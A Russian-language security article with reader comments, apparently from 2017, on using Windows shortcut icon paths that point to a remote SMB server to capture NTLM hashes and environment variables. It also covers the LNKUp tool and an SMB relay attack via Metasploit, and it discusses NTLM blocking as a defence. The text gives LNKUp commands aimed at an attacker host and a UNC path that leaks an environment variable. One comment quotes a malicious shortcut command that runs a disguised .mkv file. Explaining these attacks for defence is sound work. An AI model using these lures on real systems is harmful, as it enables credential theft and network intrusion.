В данной статье мы поговорим о методах компрометации систем с использованием стандартного функционала ОС Windows, доступного при создании ярлыков и как с этим бороться.

Как это работает и стоит ли мне бояться


Пожалуй, большинство пользователей ОС Windows знают, что запуск подозрительных программ и клики на неизвестные ярлыки — небезопасно, и даже самые «плохие» пользователи стараются так не делать. Так что, мы не будем об этом говорить.

А также, большинство пользователей хотя бы раз пробовали сменить значок ярлыка.

Напомню, что делается это через свойства, примерно так:



А какие значения можно указывать в этом поле?



Обязательно ли путь должен быть локальным? На самом деле — нет. Т.е. вы можете указать здесь что-нибудь такое



И при переходе пользователя в директорию, содержащую такой ярлык произойдет следующее.
Скриншот из Wireshark на машине 192.168.1.3.



Сервер 192.168.1.3 не смог принять TCP соединение, поскольку не прослушивает TCP порт 445, т.е. SMB. На первый взгляд может показаться, что беспокоиться не о чем, но это не так.

Сервер 192.168.1.3 может закончить TCP хэндшейк и вести себя как SMB сервер. Например, при помощи модуля фреймворка Metasploit.



Попробуем перейти в директорию с ярлыком еще раз и проверим после этого консоль Metasploit



Мы получили NTLM хэш пользователя, который «увидел» наш ярлык.

Эта уязвимость (feature) известна уже более 20 лет, со времен WinNT/Win95 и существует по сей день. Microsoft предлагает бороться с данной уязвимостью при помощи NTLM Blocking. Но настроить это должен пользователь сам



И ознакомиться со всеми «но»



Некоторые провайдеры могут блокировать исходящий трафик в Интернет на порт 445, что, также, может защитить пользователей, на чьих машинах не активированы соответствующие политики, но никак не защитит от атаки в локальной сети.

LNKUp — автоматизация эксплуатации


Совсем недавно был выпущен инструмент LNKUp, позволяющий автоматизировать процесс создания lnk-файлов, подобных тому, который мы рассмотрели выше. Скачать его можно на официальном GitHub.

Утилита написана на Python, запускается под ОС Windows и требует Python-пакеты pylnk и pypiwin32.



Чтобы создать ярлык для захвата NTLM-хэша используется следующая команда

python generate.py --host HOST --type ntlm --output out.lnk

где HOST — машина, на которой запущен SMB сервер Metasploit.

Второй вариант использования LNKUp — это получение переменных окружения пользователя. Это работает, потому что в свойствах ярлыка можно использовать переменные окружения, например так:



Для их чтения нужно запустить сниффер на машине 192.168.1.3

Команда для создания ярлыка выглядит так:

python generate.py --host 192.168.1.3 --output out.lnk --type environment --vars PROCESSOR_ARCHITECTURE

И в дампе трафика мы увидим



Т.е. путь к иконке в свойствах ярлыка выглядел так

\\192.168.1.3\SHARE_%PROCESSOR_ARCHITECTURE%

Таким образом, пользователю не нужно специально что-то запускать, ему просто нужно перейти в каталог, в котором находится вредоносный ярлык, например в сетевую директорию или «увидеть» его при подключении внешних носителей.

SMB-Relay при просмотре каталога


При помощи фреймворка Metasploit можно поднять и другого рода SMB сервер, используя модуль exploit/windows/smb/smb_relay и провести атаку вида SMB Relay.



Теперь предположим, что вредоносный ярлык был помещен в сетевой каталог, которым обычно пользуются администраторы для установки софта. При очередном открытии такого каталога произойдет перенаправление NTLM аутентификации администратора на выбранную нами машину в сети.



И будет получена сессия метерпретера





Исходя из всего вышеперечисленного, пожалуй, можно сделать вывод, что от NTLM аутентификации стоит отказаться везде, где это возможно, а также уделять повышенное внимание сетевой безопасности и доступу к общим ресурсам, на которых злоумышленник может разместить вредоносные объекты.

Комментарии (20)


  1. CaptainFlint
    08.09.2017 14:44
    +5

    Хорошо бы ещё пояснить для несведущих, чем конкретно грозит получение зловредом упомянутой информации. А заодно и то, к чему приведёт блокировка NTLM. Если, например, к полной недоступности SMB-ресурсов с аутентификацией, то вряд ли это решение подойдёт многим пользователям.


    1. antgorka Автор
      08.09.2017 14:53
      -4

      Полученной информацией злоумышленник может распоряжаться как ему вздумается и тут все зависит от конкретного случая. В некоторых случаях, это может привести к полной компрометации всей инфраструктуры компании.
      Что же касается блокировки NTLM — об этом можно долго говорить, но это не тема моей публикации. Но, как Вы верно заметили, сперва нужно хорошенько подумать, что вы включаете/выключаете, прежде чем переходить к действиям.


      1. CaptainFlint
        08.09.2017 15:27
        +4

        Полученной информацией злоумышленник может распоряжаться как ему вздумается
        Это и так очевидно, что он может распоряжаться, как ему вздумается, для этого токен и крадётся. Интересует, каких конкретно целей можно достичь, используя украденный таким образом NTLM-хэш. Можно ли с его помощью подделать аутентификацию на другом ресурсе, представившись там пользователем, чей токен мы спёрли? Или расшифровать пароль (способом более быстрым, чем перебор)? Или что?

        Просто как я это вижу: всё, что спёр злоумышленник, мы и так добровольно раздаём всем SMB-серверам, к которым подключаемся. Если это так опасно, то как этот протокол вообще до сих пор жив?


        1. Tufed
          08.09.2017 15:53

          Расшифровать пароль пользователя из этого хеша, и использовать уже по прямому назначению: получение доступа туда, куда был доступ у пользователя.


        1. antgorka Автор
          08.09.2017 15:58

          Для Pass-the-hash такой токен не подойдет. Но можно провести брутфорс хэша и узнать пароль пользователя. А чем вас не устраивает перебор? Современные фермы неплохо справляются с брутфорсом.
          В сети есть множество публикаций на тему NTLM-Relay атак, можете изучит их или взглянуть на мой пример "SMB-Relay при просмотре каталога".
          Да, это так опасно и, да, протокол все еще жив, ибо, обратную совместимость никто не отменял и нет так-то просто полностью отключить NTLM везде.


          1. CaptainFlint
            08.09.2017 16:09

            А чем вас не устраивает перебор? Современные фермы неплохо справляются с брутфорсом.
            Просто задачи разного уровня сложности. Против перебора можно бороться усилением пароля. А если бы можно было вытащить без перебора (как, скажем, было в зашифрованных ZIP), то ситуация уже намного серьёзнее.


      1. asmodeusta
        11.09.2017 10:55

        «Причин может быть множество, а последствия могут быть разными»


    1. mayorovp
      08.09.2017 15:56
      +5

      Получение зловредом упомянутой информации приведет к тому что он сможет авторизоваться уже на вашем компьютере по сети или на общем сетевом ресурсе от вашего имени (упомянутая атака SMBRelay). Кроме того, если вы используете слабый пароль — злоумышленник сможет найти его перебором.


      От первой атаки можно защититься путем запрета NTLM на входящих соединениях — но от второй поможет только запрет исходящего NTLM.


      Блокировка NTLM приведет к невозможности подключения к SMB-ресурсам за исключением тех что в домене или тех где разрешен анонимный доступ. SMB-ресурсы — это в основном сетевые папки и сетевые принтеры.


      Если это так опасно, то как этот протокол вообще до сих пор жив?

      По той же самой причине по которой его не получается отключить: слишком много существующих устройств его используют.


      1. CaptainFlint
        08.09.2017 16:06

        Спасибо, теперь понятнее. Как-то мимо меня эти проблемы прошли; ни разу не слышал, что даже простой SMB-коннект можно совершать лишь к тому серверу, которому доверяешь на сто процентов.


        1. mayorovp
          08.09.2017 16:20

          Атака на NTLM вот тут обсуждалась, вместе со способами защиты: https://habrahabr.ru/post/306810/


  1. tjomamokrenko
    08.09.2017 15:53

    А как на это реагируют антивирусы? На подобные ярлыки.


    1. Tufed
      08.09.2017 15:55
      +3

      Предположительно "никак", т.к. данный метод не содержит вирусной сигнатуры или вредоносной активности.


      1. antgorka Автор
        08.09.2017 15:59

        Верно, никак. (На данный момент по крайней мере)


  1. mike_y_k
    08.09.2017 17:35

    Спасибо за материал. Как-то идея выпала из поля зрения.
    И дополнительная иллюстрация про переноску воды в решете от гиганта… ;).


  1. ElvenSailor
    08.09.2017 23:34

    Скажем так, имея под рукой домен, NTLM можно нужно отключать везде. Проблемы могут начаться только с Legacy-устрйствами, например сетевыми принтерами-сканерами, которые умеют в SMB, но не умеют в Kerberos.
    Как быть в таких случаях — зависит уже от ситуации.
    Иногда вендор расщедривается на обновление прошивки.
    Иногда можно отказаться от SMB вообще, если устройство может, к примеру, FTP, NFS и т.д.
    Практически всегда можно заставить устройство складывать сканы куда-то, вместо того чтобы людям ходить на устройство.
    Ну и напоследок, всегда остаётся радикальный вариант — «выкинь каку» :)


    1. mayorovp
      09.09.2017 19:02

      Такие устройства можно занести в белый список доверенных (ClientAllowedNTLMServers)


  1. Mingun
    09.09.2017 12:16
    +1

    Я правильно понимаю, что атака возможна, если для захода в каталог используется стандартный Проводник Windows? А если мы заходим, скажем, через Far, то «бояться нечего» (так как он не показывает иконки ярлыков)?


    1. antgorka Автор
      09.09.2017 12:36

      Интересный вопрос, спасибо. Если только FAR не пытается (зачем-то) переходить по вышеупомянутым путям. Думаю, что через FAR бояться нечего.


  1. Ohar
    10.09.2017 01:22
    -1

    Помимо злоумышленников эту штуку, кажется, можно использовать для получения статистики установок своего Windows-приложения. Очень грубой, конечно же, но тем не менее.


  1. zemavo
    10.09.2017 11:05

    Вот еще другой пример — на торрент-трекере раздается якобы видеофайл, с которым на «в нагрузку» идет ярлык, которые запускает MKV уже как EXE — . Параметры запуска ярлыка

    %ComSpec% /C START "Game.of.Thrones.S07E07.HDTV.x264-KILLERS.mkv" "Game.of.Thrones.S07E07.HDTV.x264-KILLERS.mkv"


    Virustotal определяет ярлык как LNK.Exploit.Gen и что-то похожее — www.virustotal.com/ru/file/927abbbecb174f736e2f28a6a9b8f36a27a800dfe9bdd8d20fa16785a9ecd5a8/analysis/1505030233, и, судя по статистике трекера, этот файл успели скачать много тысяч пользователей.